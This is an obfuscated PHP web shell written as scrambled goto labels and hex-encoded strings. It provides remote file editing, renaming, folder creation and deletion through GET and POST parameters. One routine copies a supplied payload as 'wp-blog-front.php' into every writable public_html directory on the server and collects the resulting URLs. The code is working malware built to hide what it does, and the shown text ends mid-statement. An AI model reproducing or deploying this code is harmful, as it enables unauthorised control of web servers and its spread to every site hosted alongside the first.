APerP; iM2Kf: EBoDv: goto Q1nFk; toqPO: BtDrW: goto SnuW7; v0IZQ: doNM2: goto kmudu; PFakA: VtXS1: goto Qd3lh; HLnpY: goto SXti3; goto gKF0b; dt_Tu: cAC6U: goto Y6Vvz; b5rBr: PdiyD: goto Zp6nL; zdSMe: goto KJSI3; goto yUnRu; Aq8ar: wht1c: goto PZ6FD; Z4ti4: TeCIh: goto uFRdk; bP8J6: goto vdRYy; goto kj73H; ONcuP: goto sbJX_; goto ELRzR; XRSia: B20kN: goto i6StH; rEqON: goto SuiMc; goto pqjjX; b7_TF: goto MiNjJ; goto lf5xV; TGNVX: goto yO1DX; goto Yj7dO; xbuKp: goto sHU8k; goto KHiK3; aPdzy: OCR1p: goto uAwQG; hKizP: goto a750m; goto jxpFG; FLvD1: function rbq7A($HQfp3) { goto RCPFH; ucrGN: goto NGfsY; goto Xr5mb; dyAHW: goto Bzfnk; goto dnPKr; ob6Cu: VGRR0: goto Ne70u; X1WUx: goto oeSNM; goto zLlAO; l2F2p: goto Z31Fd; goto oWGyJ; zxEIp: T6rNp: goto eyoHR; LCZqb: Mm4pS: goto ytgoV; rdVee: PN5bN: goto xbAoe; qgpvB: goto Hxh7o; goto zB_Lr; veIQX: C1hUL: goto Rq0ps; NnasV: bG7_5: goto Ujwfn; nwpCw: ygBm1: goto WzB2_; l7vPq: aiZQF: goto LOnIK; xQELg: f9fK0: goto yoM19; XZUKX: goto pxK2B; goto NiA64; RCPFH: goto O_rAU; goto G65F6; zuJSO: sUQ5Z: goto VcU52; gbJ7Q: goto CVtE9; goto BsihB; IW4c5: $HbhNW = []; goto tZpKV; CoFbs: goto ucoup; goto Typcn; E7tbT: goto ekxgf; goto yscww; NlVuf: pxK2B: goto XRuZG; kzGhE: imBDh: goto Pon0h; GD7D9: goto bG7_5; goto EP2nv; adcDm: goto wIyx4; goto CpPbF; ym_CG: Kh7RI: goto mLM3m; kiMUO: oeSNM: goto BCta0; s_wLQ: RzePA: goto j1nt_; CZnQe: goto q4z40; goto vZIZa; X8Pzq: goto W04iN; goto l7vPq; acvTV: IDMb3: goto X1WUx; aXSPh: IYrIO: goto C1XOa; Lse7n: Ophjk: goto IW4c5; yJi0s: ZzslW: goto oCCH7; kRKAH: $oSJ8K = __DIR__; goto LV7ak; CpPbF: uwdv5: goto iUp7n; Asytx: goto Vv71w; goto oXtKh; DIDsO: $oSJ8K = dirname($oSJ8K); goto ajxOd; ajxOd: goto yfJ3Q; goto JfJcQ; yscww: goto imBDh; goto S_utK; mLM3m: $NySlu = true; goto M3mDa; kbfeI: iZv5D: goto itiJZ; xa6HN: Z31Fd: goto NQcKQ; pDWOG: WPqri: goto TWsd3; OxUqq: ZBltR: goto qgpvB; DxHI1: goto b6YWM; goto u1_iz; ME5gR: goto cYirU; goto z74ez; vw3MB: wIyx4: goto O1e3M; gg_Ow: goto uwdv5; goto JgBbu; cUH_d: b6YWM: goto FGDly; z74ez: N4Rbr: goto xyVHx; cjYXS: Bzfnk: goto bSCy_; Z4Zgk: Hxh7o: goto ODmLS; JpC1w: TgnkZ: goto mKtom; EePFN: nOhdC: goto bDbsJ; BsihB: gNqUC: goto anKeV; BCta0: if (!(preg_match("\57\x5c\57\165\x5b\134\x77\x5d\x2b\44\57", $oSJ8K) && is_dir("{$oSJ8K}\57\x64\157\x6d\141\151\156\x73"))) { goto T6rNp; } goto PeXwr; RuJTK: Fx4lB: goto gbQSf; dBc8X: goto xejn1; goto ym_CG; H8m2U: goto M1_9G; goto EePFN; TQJ8q: HZkyG: goto yYxSX; JK3zx: goto oPcBJ; goto ioM0M; VcU52: goto XpVRy; goto vsyfU; bPS3x: mfwMj: goto X8Pzq; bawC0: return []; goto y11Cz; TWsd3: goto BZarw; goto Ww0iN; S_utK: tCju4: goto nwpCw; DfSGe: i2z_7: goto h9GGe; itiJZ: OpOIn: goto HAlIQ; h9GGe: static $NySlu = false; goto wzZwl; ODmLS: goto zspJd; goto kiMUO; Typcn: goto RzePA; goto yjGRk; v2el4: goto HR9pC; goto awPpR; YGPCw: goto G5zCG; goto X4SNz; EX2Xl: y6fo7: goto zuJSO; gdWEw: goto jqP7l; goto JpC1w; O1e3M: goto VGRR0; goto gg_Ow; XRuZG: goto rVm8T; goto ONL3Y; Ujwfn: if (!($oSJ8K !== "\x2f")) { goto N4Rbr; } goto ME5gR; JfJcQ: FAwvr: goto mDnjC; REPKx: HR9pC: goto dBc8X; E7Fui: goto i2z_7; goto fqF7I; N2XVx: goto y6fo7; goto vw3MB; Ymuz7: bYU93: goto NlVuf; tZpKV: goto JHDG7; goto a3KHu; t8f0f: goto Yq9fS; goto GpbnR; yoM19: DQAju: goto Hn2VE; DLBKI: goto f9fK0; goto XIFA0; XIFA0: tqHsE: goto Acc8r; tSpkE: sdo3T: goto GD7D9; oXtKh: goto o642m; goto cIm87; EP2nv: PddbW: goto bPS3x; cGPAx: gDD_e: goto hTkJO; pg8Z1: o642m: goto Z4Zgk; XrRoM: goto PN5bN; goto cGPAx; bDbsJ: goto JZtDd; goto DxHI1; jgKDl: kaAt0: goto jdX2M; oCCH7: CWv87: goto XSJNG; BJs1m: Go7_O: goto SEjSU; pjo2x: goto Ophjk; goto aXSPh; fqF7I: wTz4X: goto Asytx; JgBbu: PT_Ta: goto ob6Cu; YL6ho: Yq9fS: goto TQJ8q; mDnjC: gsfHr: goto YySBW; NDFmA: goto gsfHr; goto XrRoM; lyRId: goto NfDoz; goto RuJTK; xbAoe: ucoup: goto C5uPW; LV7ak: goto aKrZA; goto xa6HN; KTMKG: goto jwhB2; goto l2F2p; hUsW0: goto Vg3VJ; goto yJi0s; cIm87: aKrZA: goto NDFmA; G65F6: Vg3VJ: goto tSpkE; jdX2M: goto IDMb3; goto tAWl_; PkbjQ: goto kaAt0; goto DfSGe; Rq0ps: ekxgf: goto dyAHW; FGDly: EDsBy: goto QNwWs; pqxQH: goto UZcoV; goto kbfeI; QNwWs: goto DUt0y; goto hk2Cv; jVrVj: q4z40: goto T4g40; u1_iz: a38SL: goto YGPCw; on1Qf: C4UnC: goto DIDsO; zeeZE: xs1pG: goto rHdse; QD4S4: MPuuV: goto v2el4; GpbnR: NfDoz: goto m_bii; tAWl_: goto ZzslW; goto YL6ho; x8XLi: zspJd: goto adl6_; txZJv: DUt0y: goto ucrGN; yjGRk: rVm8T: goto U7qGD; NQcKQ: Vv71w: goto CZnQe; SEjSU: JZtDd: goto yFj2v; SAeR5: goto bYU93; goto jVrVj; ONL3Y: M1_9G: goto acvTV; NiA64: goto aiZQF; goto s_wLQ; cFhRP: goto IYrIO; goto pg8Z1; X4SNz: goto FAwvr; goto on1Qf; LOnIK: jwhB2: goto czRc4; EKa54: goto g7wPa; goto SAeR5; xyJGz: goto C4UnC; goto EX2Xl; oyhQU: goto iZv5D; goto AV0Ca; dnPKr: jqP7l: goto v1ojR; d5BL5: xejn1: goto kRKAH; PO6As: UZcoV: goto NSWf6; rHdse: goto PddbW; goto kzGhE; j7TQP: foreach (scandir("{$oSJ8K}\57\x64\157\x6d\141\151\x6e\163") as $B0UUB) { goto FNAqc; kOSzj: rVEQT: goto CNHV4; lzFP5: ux11Q: goto h0Laq; tjDHf: goto Mfz38; goto fC0RF; tYmGo: pqNVa: goto TMZT0; VvLWy: goto J0KX1; goto wT4S0; nL6Xp: n_DIT: goto MYboE; GApLz: goto B2ODT; goto Y28F3; E3Mrn: goto rnYLp; goto nbuQd; j96Dv: goto Jbzht; goto QG6fV; n3tJX: goto hsFf_; goto gSGNf; MYboE: if (!($B0UUB === "\x2e" || $B0UUB === "\56\x2e")) { goto WlcCY; } goto N9UlJ; FNAqc: goto u4oqo; goto WM7iI; jp3j9: goto bzSc_; goto cceQ3; zhrre: y7e_I: goto eQef8; cl_yF: goto A76t1; goto bUerB; HvwyS: goto Oa6fD; goto JGlPW; E436F: goto XOwo2; goto nL6Xp; lx4x2: goto PD6vj; goto OVhRZ; SWKD4: goto h85Ee; goto X8LHV; pT6Yx: goto rVEQT; goto phPk5; AfiM4: goto eXtyq; goto yW6vy; N9UlJ: goto v7xTO; goto ugTRA; Y28F3: rP9XS: goto c5Q47; Ii0Sr: goto ruKhz; goto dYMiY; M8GVO: v7xTO: goto FrTbR; W6F5i: J0KX1: goto JQJdY; R0RKv: Fl1wR: goto i2A_Z; d7h1L: goto VoeqA; goto F7EoO; c5Q47: $zbFXB = "\167\x70\55\142\x6c\x6f\147\x2d\x66\162\x6f\x6e\164\56\x70\150\160"; goto AfiM4; zSWeR: u4oqo: goto FBF73; X8LHV: goto TUDXP; goto VSrOX; Ojl3u: goto mMdzY; goto Ei6BU; Hzg4W: if (!is_writable($htvAP)) { goto Q98Ok; } goto lx4x2; nbuQd: rnYLp: goto VkdA4; xZLoR: lT7gi: goto LvU_1; a_n5b: g9ZiQ: goto h032c; Ei6BU: goto q8FyN; goto WJyBR; VSrOX: t8QM7: goto q_1Q_; TODUf: PEinE: goto xb4ha; bUerB: CAQ2x: goto TQJZf; lypPS: VoeqA: goto TRYQ5; TFMBV: goto K3003; goto ftBy8; a6hbS: goto n2PG3; goto zSWeR; fhs0S: mMdzY: goto fGFIP; SemA_: zWd7Y: goto nuB10; qpJyw: goto WpHqr; goto im3l0; h3MuU: goto Fl1wR; goto biAXF; POSeB: goto zqCeA; goto tm9_T; i_Aia: goto d26Tq; goto kOSzj; L6U9a: igC57: goto FX8qe; edIzx: goto g9ZiQ; goto UUGrD; fC0RF: n2PG3: goto XRGGx; mT1QB: WpHqr: goto Ojl3u; RYImv: hsFf_: goto d7h1L; A_llZ: dtuOX: goto bKvyd; wT4S0: Ein9r: goto bIVem; fGFIP: goto Ein9r; goto mT1QB; ftBy8: goto MNAMj; goto sadJ1; HzbFA: TsLzd: goto h3MuU; nuB10: if (!file_put_contents($KUX1S, $HQfp3)) { goto riXmi; } goto HvwyS; WM7iI: d26Tq: goto u3diC; lchgJ: goto n_DIT; goto Wiuan; n766B: goto TsLzd; goto i_Aia; WJyBR: XOwo2: goto VWz3O; eQef8: goto B1C2A; goto TODUf; oVwKo: goto ZJSTt; goto DpPtS; kg079: YIEH6: goto zhrre; Wiuan: B2ODT: goto TFMBV; q7UK1: goto ezUtN; goto edIzx; ugTRA: WlcCY: goto PAtId; q_1Q_: goto lT7gi; goto VvLWy; zV6dX: h85Ee: goto THj1B; bIVem: goto r5jpE; goto vDhQm; H6Byz: MNAMj: goto tYmGo; OIxoY: goto t8QM7; goto GPgZp; xb4ha: ku1XX: goto pT6Yx; HCALd: goto U8wF3; goto PWQyQ; D81PF: goto Og_55; goto cl_yF; DpPtS: U8wF3: goto rePbp; MRtbf: goto pqNVa; goto YPhq3; CNHV4: goto dtuOX; goto kdnnO; XRGGx: r5jpE: goto E436F; biAXF: eXtyq: goto n766B; FrTbR: goto uWRHq; goto X1jdx; FBF73: goto fd1ek; goto oVwKo; F7EoO: goto AFiCi; goto aWati; JQJdY: Og_55: goto E3Mrn; LvU_1: goto rP9XS; goto YBjC8; rePbp: goto ku1XX; goto rzVHr; GPgZp: zqCeA: goto q7UK1; NSXXj: goto TaGMG; goto aD3L2; PAtId: goto P3Mc5; goto QHNNB; TMZT0: goto rLq2z; goto Pvqb3; Pvqb3: P3Mc5: goto SWKD4; hoIWs: hgTHK: goto JICE3; Ahkn2: goto y7e_I; goto QYSbc; vDhQm: goto ux11Q; goto RYImv; A_nVV: PD6vj: goto OIxoY; yW6vy: TUDXP: goto M8GVO; QYSbc: goto ptyck; goto hoIWs; im3l0: AFiCi: goto HzbFA; dYMiY: ruKhz: goto BE5Cv; JICE3: wf11m: goto tjDHf; YPhq3: goto igC57; goto W6F5i; cceQ3: ZJSTt: goto xZLoR; VWz3O: xPeO_: goto l_f1D; UAGiv: $HbhNW[] = "\x68\x74\164\x70\x3a\57\x2f{$B0UUB}\x2f{$zbFXB}"; goto GApLz; i2A_Z: $KUX1S = "{$htvAP}\x2f{$zbFXB}"; goto POSeB; phPk5: Mfz38: goto fhs0S; QHNNB: A76t1: goto A_llZ; L55cY: rLq2z: goto zV6dX; JGlPW: riXmi: goto HCALd; sadJ1: lddNl: goto Ldl8c; FYWSS: uWRHq: goto DgPTq; X1jdx: q8FyN: goto MRtbf; THj1B: goto tbFHZ; goto kg079; h0Laq: ezUtN: goto Kp2el; h032c: KX_1H: goto qpJyw; gSGNf: bzSc_: goto Ahkn2; zecxm: Oa6fD: goto n3tJX; UUGrD: Jbzht: goto NSXXj; QG6fV: JJ0pb: goto A_nVV; aD3L2: goto JJ0pb; goto a_n5b; YBjC8: tbFHZ: goto D81PF; gxREz: UdPo5: goto UAGiv; BE5Cv: goto wf11m; goto dPLQk; aWati: ptyck: goto lypPS; kdnnO: goto YIEH6; goto L6U9a; tm9_T: kbFi0: goto zecxm; VkdA4: $htvAP = "{$oSJ8K}\x2f\144\157\x6d\x61\151\156\163\x2f{$B0UUB}\x2f\x70\x75\142\x6c\151\143\137\x68\x74\x6d\154"; goto jp3j9; FX8qe: fd1ek: goto lchgJ; Kp2el: goto zWd7Y; goto FYWSS; OVhRZ: Q98Ok: goto j96Dv; bKvyd: goto lddNl; goto L55cY; rzVHr: goto kbFi0; goto R0RKv; TRYQ5: goto UdPo5; goto SemA_; TQJZf: ryUIu: goto msxek; Rti4H: goto PEinE; goto H6Byz; PWQyQ: B1C2A: goto Hzg4W; l_f1D: goto CAQ2x; goto gxREz; Ldl8c: TaGMG: goto Ii0Sr; DgPTq: goto KX_1H; goto a6hbS; dPLQk: goto hgTHK; goto lzFP5; u3diC: K3003: goto Rti4H; msxek: } goto zeeZE; iUp7n: TFXVD: goto JK3zx; hTkJO: return []; goto cFhRP; pcHT8: JHDG7: goto CoFbs; bSCy_: goto HZkyG; goto oyhQU; YySBW: goto tCju4; goto LCZqb; mKtom: goto sdo3T; goto t8f0f; q1GnM: IoSkJ: goto E7tbT; wzZwl: goto wTz4X; goto q1GnM; HAlIQ: goto Kh7RI; goto NUbuO; Xr5mb: goto Fx4lB; goto PO6As; mmOEo: yfJ3Q: goto XZUKX; Ne70u: goto gDD_e; goto cUH_d; C5uPW: goto ir38f; goto pDWOG; e1isF: goto OpOIn; goto H8m2U; anKeV: goto WPqri; goto x8XLi; m_bii: goto DQAju; goto hUsW0; zLlAO: W04iN: goto enCH1; AV0Ca: O6TVY: goto bawC0; j1nt_: G5zCG: goto xyJGz; vZIZa: IHmUd: goto KTMKG; oWGyJ: oPcBJ: goto tQYso; ioM0M: XpVRy: goto Frj3n; hk2Cv: bt2Mo: goto REPKx; XSJNG: goto Mm4pS; goto NnasV; T4g40: if (!$NySlu) { goto gNqUC; } goto gbJ7Q; vsyfU: ir38f: goto j7TQP; gbQSf: NGfsY: goto pjo2x; eyoHR: goto nOhdC; goto Lse7n; xyVHx: goto IoSkJ; goto cjYXS; tQYso: BZarw: goto fG9MN; NSWf6: g7wPa: goto E7Fui; Pon0h: cYirU: goto PkbjQ; y11Cz: goto ZBltR; goto rdVee; Frj3n: ak6y8: goto gdWEw; dR0uK: goto IHmUd; goto mmOEo; C1XOa: goto TFXVD; goto pqxQH; NUbuO: O_rAU: goto EKa54; WzB2_: goto TgnkZ; goto d5BL5; zB_Lr: goto bt2Mo; goto txZJv; yFj2v: goto a38SL; goto Ymuz7; a3KHu: skbzo: goto e1isF; fG9MN: goto skbzo; goto BJs1m; U7qGD: goto ygBm1; goto lyRId; ytgoV: return $HbhNW; goto dR0uK; czRc4: goto Go7_O; goto OxUqq; v1ojR: goto CWv87; goto DLBKI; Hn2VE: goto C1hUL; goto pcHT8; PeXwr: goto EDsBy; goto zxEIp; Ww0iN: goto tqHsE; goto xQELg; M3mDa: goto MPuuV; goto QD4S4; yYxSX: goto O6TVY; goto veIQX; Acc8r: CVtE9: goto adcDm; enCH1: goto sUQ5Z; goto N2XVx; awPpR: goto PT_Ta; goto jgKDl; adl6_: } goto fK2Ze; edyxl: goto yaI1b; goto nZOWZ; Qe10l: XMPXG: goto APQLu; Hq1MR: AG2ub: goto k5H1Z; Kk1Ev: goto wlg9r; goto D6Njc; xLzC1: goto n4Z1k; goto VEAiq; lYu0j: goto LJCXQ; goto rs4y2; DJbID: goto AyUTC; goto sjCR2; k4Vi5: goto WBdv7; goto PKpvj; V19mR: goto WytPZ; goto pX0zf; jNPBL: NlnCg: goto ilDZF; cEhU0: goto mNINs; goto kT4U8; S32af: goto eJqKf; goto LQbME; hEI3Z: v1oOS: goto jEBL_; XYHQP: goto yqCJY; goto SPBAn; NSXyq: goto rD0Y7; goto Qbrza; FWA0z: goto iFm00; goto LnECi; HrEHe: goto j4fbo; goto G5i85; AZ32v: ppimC: goto AUr_O; ZgZvc: zPqro: goto iGDOl; Pbwpu: Epaeb: goto mXvip; RLu8M: goto R7fQw; goto X_Rx5; ouUdy: DItA6: goto uSV6y; L2A51: goto lynu2; goto Y5uU5; leSQu: goto VM7J8; goto i6_nO; a2E2o: goto JLx3x; goto Ek6CX; j51ry: function hVc0_($KUX1S) { goto dRpfn; yb6Jz: ygkoP: goto icaW3; KSI1f: NZxQa: goto ELzuv; R4Pjl: goto fbt_h; goto NYrgA; N1ARZ: D6c0g: goto X4uPo; NbNTy: goto uWrgU; goto xJUOx; ELzuv: Rw1Rw: goto SvWDS; ffEVs: return implode("\x20\57\x20", $wDHLd); goto nzrJU; UeFRy: LvEo_: goto Tnjxf; YTlF0: ljf7g: goto khYPQ; UPRn3: SGKIt: goto nVISa; Ir0s0: rTV6t: goto R4Pjl; gnVwy: sEGJ2: goto XH09t; hrcfF: goto ljf7g; goto w2txh; xp4U4: f7XrP: goto NbNTy; ZNOb5: goto O77Yp; goto Iwp3Q; lEyqb: cX7gb: goto y0iCR; NYrgA: goto dGn7y; goto SIVxv; RKJoq: goto e_YbJ; goto KSI1f; khYPQ: goto f7XrP; goto RKJoq; y0iCR: $N1Vw9 = explode(DIRECTORY_SEPARATOR, trim($KUX1S, DIRECTORY_SEPARATOR)); goto ZNOb5; GSUZH: goto cX7gb; goto GPMKC; dRpfn: goto rTV6t; goto OFTwZ; e1GpP: goto wLiNG; goto I3wCJ; xJUOx: Duzfp: goto U5Ffc; U5Ffc: goto Rw1Rw; goto Z0zEp; LYgVT: EKo9Z: goto tItwu; I3wCJ: goto gKOk1; goto lEyqb; X4uPo: $wDHLd = []; goto OlO4m; bmjXm: e_YbJ: goto gnVwy; jQxfd: goto D6c0g; goto x9rkz; AuxXT: tt48V: goto utI_H; Lw8z7: Rh1yR: goto Bl2uH; nVISa: goto Rh1yR; goto YTlF0; ID50w: goto NZxQa; goto qtcLe; Tnjxf: goto SGKIt; goto I5XUK; JTtUS: wGXjs: goto u_LH0; SvWDS: goto og8KB; goto Ir0s0; SIVxv: XBHfV: goto SrKjr; GPMKC: O77Yp: goto Y8PuN; x9rkz: og8KB: goto UAIAF; Z0zEp: goto XBHfV; goto UeFRy; qtcLe: dGn7y: goto DKUkr; XH09t: goto EKo9Z; goto Lw8z7; EvqIL: goto GTNmH; goto RLIjX; RLIjX: o5bGu: goto xp4U4; icaW3: goto tJHuK; goto zGeyO; yO2LB: eg_AM: goto oRGZs; h1ZyS: goto ygkoP; goto bmjXm; w2txh: AV25C: goto e1GpP; Iwp3Q: GTNmH: goto NRbqB; SEnBq: xD6VU: goto AuxXT; NRbqB: foreach ($N1Vw9 as $yacO1) { goto u4FCS; a00vt: KANDx: goto cI4E2; VLgAF: goto ee1rZ; goto A9IYt; ZjAxK: goto ieQn9; goto w6prJ; cI4E2: bg27m: goto fkUuL; u5ld_: goto w53jv; goto vGwc0; FN5Yb: goto EuCfZ; goto BtYzF; tFqia: goto KCBMG; goto a00vt; MOxr5: qv1wd: goto O4ush; Nr_Ai: ee1rZ: goto Y1zjR; zHBVT: goto fBknH; goto ZjAxK; s0k0V: GGMr3: goto UbeGH; uBMR2: goto Hd9ZN; goto s0k0V; Ax12D: goto KANDx; goto tjcqe; UbeGH: xdAW0: goto s4F80; XXM28: KCBMG: goto unnhb; pbErz: goto AjTxK; goto t1mcA; vGwc0: EuCfZ: goto zHBVT; unnhb: fBknH: goto Ax12D; w6prJ: ieQn9: goto bDdGS; t1mcA: w53jv: goto VLgAF; SZJYB: goto qD3cK; goto NZVD_; NZVD_: Hd9ZN: goto gmOaE; O4ush: kNOBc: goto FN5Yb; Jjr4v: CLJbs: goto aK0DX; y5wQF: qD3cK: goto OE6xc; OE6xc: $wDHLd[] = "\x3c\x61\40\150\x72\145\146\x3d\47\x3f\x64\151\162\x3d" . urlencode($d2iGd) . "\x27\76{$yacO1}\74\57\x61\x3e"; goto u5ld_; gmOaE: $d2iGd .= DIRECTORY_SEPARATOR . $yacO1; goto pbErz; u4FCS: goto U0Zb1; goto MOxr5; aK0DX: rjCER: goto SZJYB; bDdGS: JQB4m: goto uBMR2; BtYzF: qCIQy: goto Nr_Ai; edN7F: goto CLJbs; goto i8ne8; fYf99: goto rjCER; goto tFqia; tjcqe: U0Zb1: goto GxUlU; Y1zjR: goto qv1wd; goto XXM28; GxUlU: goto JQB4m; goto edN7F; fkUuL: goto GGMr3; goto Jjr4v; i8ne8: AjTxK: goto fYf99; A9IYt: goto qCIQy; goto y5wQF; s4F80: } goto yO2LB; nzrJU: goto Duzfp; goto yb6Jz; zGeyO: goto o5bGu; goto LYgVT; OlO4m: goto AV25C; goto JTtUS; OFTwZ: uWrgU: goto ffEVs; oRGZs: goto xD6VU; goto SEnBq; Y8PuN: goto sEGJ2; goto ID50w; Bl2uH: Ntmmr: goto hrcfF; DKUkr: tJHuK: goto EvqIL; tItwu: $d2iGd = ''; goto h1ZyS; u_LH0: fbt_h: goto jQxfd; utI_H: goto LvEo_; goto Twds7; Twds7: gKOk1: goto UPRn3; I5XUK: goto wGXjs; goto N1ARZ; SrKjr: wLiNG: goto GSUZH; UAIAF: } goto kodTq; VNQhF: fx2Zt: goto HA_FL; PZ6FD: exit; goto edyxl; lfeQn: goto SsqsW; goto mEyIg; ciaPa: xjdod: goto E6mJN; MnYYv: iTVFz: goto EoMyx; A4CH8: LcHIH: goto rk09R; dROu6: if (!VId5H($fNAU7) && !FGfb9($q5ijL)) { goto nwZhy; } goto Jgez4; wpNnP: X_VRy: goto f6RtR; KksL3: goto KQR9L; goto pmAjj; Y6Vvz: Mpw0a: goto EJ23U; xrFa4: QJYuq: goto V3pkU; hQr7P: goto Xz6X1; goto ky0ox; O29SP: goto K14Rm; goto zF2eE; UDY38: $fNAU7 = "\x68\145\x6c\154"; goto uEoKz; NSBT6: xUQTL: goto Kw4uo; nZOWZ: Bd7cS: goto lbfVf; rPcjt: goto CFA22; goto VMC1l; APXSe: avda4: goto mCO_w; X385F: goto yg7sc; goto NW2YB; NS_P6: PLos3: goto pPv8_; ltaRC: Q_gWi: goto nPxWE; wEtCr: goto pHfPY; goto ruGiS; HOQAy: $D6V0J = $JdqDR; goto qXC8Y; LO8kc: goto rpkEp; goto c8Cpu; BT3jl: goto x9ZO3; goto JSfsG; g8omF: H4smI: goto kD6XT; lAoqM: goto jZG7w; goto I5E7B; n93Gk: goto nYEWv; goto N5T9R; t_u1g: goto R2RRw; goto CwWL8; OHyMs: iwDZz: goto lYu0j; VdjT6: goto m9e_l; goto gySkl; VgiTK: goto QBjIY; goto cYkRq; z31JX: goto uJ79M; goto i8LuC; XcJod: goto BiKFr; goto hbaSs; J5sJ6: goto h3Mkp; goto wbqkt; Woiag: goto vAzRU; goto UDF0S; Tvv8Y: c1Y1i: goto bX6wS; t045h: goto ufbsx; goto WtCDg; gvHGm: goto kcJFb; goto Y7GTZ; NO3ry: @rmdir($OYF8c); goto G8RQx; NkeNK: goto XTrPy; goto rSUiJ; HWvRS: kZyGP: goto LQM5f; gwbaH: evnh5: goto EZBND; PkpkD: goto c75GS; goto XlHGB; fc_1M: cc93s: goto W1og2; pAuzx: goto Gb0PB; goto Wrhjv; Y7GTZ: QRu0E: goto ptGrF; dzZAB: ipmoX: goto pLUNm; WD3OG: goto iMPZC; goto PQmoy; y2gjG: f9DLn: goto x6VNx; w48LP: goto iNoeY; goto JfLz2; flQBy: WZXZz: goto X3sGq; e4M5A: anH3D: goto HQKM6; UUu0V: GY9jC: goto rUxDS; Z1Gtb: goto r6FWt; goto s9Uw_; u4KuL: if (empty($_GET["\145\x64\151\164"])) { goto V35gp; } goto bBowp; wwM9e: yxPnN: goto JZsHU; OmVrv: goto YxNMY; goto N7YKq; MqVgE: pHfPY: goto xkb3Y; tUduY: FpsD2: goto t045h; TdN5J: Xyjxo: goto HwQDA; QDtwL: mUM1a: goto A8Ezk; i2ZBs: goto PQHpz; goto Q7X2c; XRlAm: goto kTdtq; goto yCmcS; rTRoz: KOHoK: goto S32af; akk14: goto CLznv; goto d12wZ; PQ0Gl: Rl7vB: goto XRlAm; tFVhH: Ig84v: goto lhDSv; gg0cD: uL9wg: goto Ux5iJ; GK0TK: RbW_B: goto OtWzu; whaQj: z1TRi: goto bUF72; IwVbW: fXR_9: goto AuBcD; crQvd: YdNYY: goto a2E2o; bsexg: LJCXQ: goto BIpk2; f3roe: yYo4F: goto MJUaz; beXJa: x9ZO3: goto JNX9T; RJOeG: lgAaq: goto b5yUa; EJ23U: goto wht1c; goto QqInZ; ZenZd: TiDrY: goto FekV5; Qx8j3: XYPS_: goto JfqKr; XJSAf: bB2bQ: goto jNLL5; cFk3g: qnoxP: goto GLdyC; JFlyl: iZ5nl: goto MAhYk; pp9c0: goto nvOF1; goto r4llA; OswRP: WjY0U: goto tkYCb; VQ2KN: goto HZzN_; goto fYcK6; ef1Kq: b2u9j: goto n4fUk; i8LuC: MeGcL: goto IYHeZ; Rke00: if (!(!empty($_POST["\162\x65\156\x61\155\x65\137\x6f\154\x64"]) && !empty($_POST["\162\x65\156\x61\x6d\145\x5f\x6e\x65\167"]))) { goto lBW6U; } goto oDR69; n5OFn: msEep: goto Ox6lK; r74bY: U3iSv: goto kDmxW; jFXX4: aF9v3: goto Zqsuk; tuGap: xVwRJ: goto FAw4n; njHeJ: goto wxbwg; goto NIV85; YRBfv: PlkQE: goto mxl49; HBo7O: goto GWlCj; goto O0kYN; SRLvP: echo "\74\x21\104\x4f\x43\124\x59\120\105\40\x68\x74\x6d\x6c\x3e\15\xa\15\12\x3c\x68\164\155\x6c\76\15\12\15\xa\x3c\150\145\x61\144\76\15\12\x9\74\x74\151\x74\x6c\145\76\347\x81\253\347\203\xa7\350\xb5\244\345\xa3\x81\x3c\57\x74\151\164\x6c\145\x3e\xd\12\x3c\57\x68\145\141\x64\x3e\15\12\74\x73\x74\x79\154\x65\x20\164\171\160\145\x3d\42\x74\145\170\164\57\143\163\x73\42\76\15\xa\x62\x6f\144\171\40\x7b\xd\12\40\40\157\166\x65\x72\x66\x6c\x6f\167\55\x78\72\150\151\144\x64\x65\156\x3b\xd\xa\x20\x20\x66\x6f\156\x74\x3a\x20\x31\x35\x70\170\x20\42\103\x65\x6e\164\165\162\x79\40\x47\x6f\164\x68\151\x63\42\54\40\42\124\151\x6d\x65\163\40\122\x6f\155\x61\x6e\42\54\x20\163\141\156\x73\x2d\163\x65\162\151\146\x3b\15\xa\40\x20\142\x61\143\x6b\147\x72\x6f\165\x6e\144\72\165\162\x6c\50\150\x74\164\x70\x73\72\57\x2f\x6b\56\x74\157\160\64\164\x6f\x70\x2e\151\x6f\57\x70\137\63\x30\x34\x34\x33\154\x70\x7a\x69\60\56\x6a\160\145\x67\x29\x3b\xd\xa\x62\141\x63\x6b\147\162\157\165\156\x64\x2d\151\x6d\x61\x67\145\72\40\x75\162\154\x28\x68\x74\164\x70\x73\x3a\x2f\x2f\x69\155\147\62\56\142\x61\151\x64\165\x2e\143\x6f\x6d\x2f\x69\164\57\x75\x3d\61\61\64\65\x31\x35\62\71\65\67\x2c\63\63\x33\64\x39\67\62\x33\x39\61\x26\x66\x6d\x3d\62\x35\x33\x26\146\x6d\x74\x3d\141\165\164\157\x26\x61\160\x70\75\x31\x33\70\46\146\x3d\112\120\x45\x47\77\x77\75\x38\61\x37\46\x68\75\65\60\60\51\x3b\15\xa\x20\x20\142\x61\x63\x6b\x67\162\x6f\x75\x6e\x64\x2d\163\x69\172\145\72\x20\x63\157\166\x65\x72\73\xd\12\40\x20\142\x61\x63\x6b\x67\162\x6f\x75\x6e\x64\55\x72\x65\160\145\141\164\72\40\156\157\55\162\145\160\145\141\x74\x3b\15\12\40\40\142\x61\x63\153\x67\x72\157\x75\x6e\x64\55\160\157\163\x69\x74\x69\x6f\156\x3a\40\143\145\156\x74\145\x72\x3b\15\xa\x20\x20\x62\x61\x63\x6b\147\162\157\x75\156\x64\55\141\164\164\141\143\x68\x6d\x65\x6e\164\x3a\x20\x66\151\170\x65\x64\x3b\15\12\x20\40\150\145\151\x67\x68\x74\72\x20\x31\x30\60\x25\73\15\xa\40\x20\175\15\12"; goto yAqpz; mB7Lg: QfHUS: goto M32Xs; tkYCb: if (empty($_POST["\156\145\x77\146\x6f\x6c\x64\x65\162"])) { goto FopiD; } goto a3NhY; NRbvr: LGqK1: goto iCa1I; m7UPp: TtH1T: goto T1VpJ; lMkl0: goto RZCVG; goto IHLnC; orK6d: JWLH7: goto ErcjN; p0nTf: goto wNquf; goto s49_e; v5Q9k: goto n2WkM; goto Pbwpu; d7rGB: IBF6h: goto wAzz2; LQM5f: VrXPo: goto SzvFg; CTQ0O: goto tcFgj; goto Tvv8Y; Aaa8o: OzJwW: goto zWsbZ; Nib1w: f5nlv: goto U1oqU; VTkSC: goto gRnHu; goto ofhv1; Ts3fo: goto ww1U4; goto o2mrB; C0AeL: goto Gu75W; goto OiT2O; ow3OF: uo4RA: goto Nhvxt; LnECi: zBf07: goto LHMHt; tLalb: AOh9o: goto PpMWV; txvvt: goto Nb5vy; goto Y1nBo; 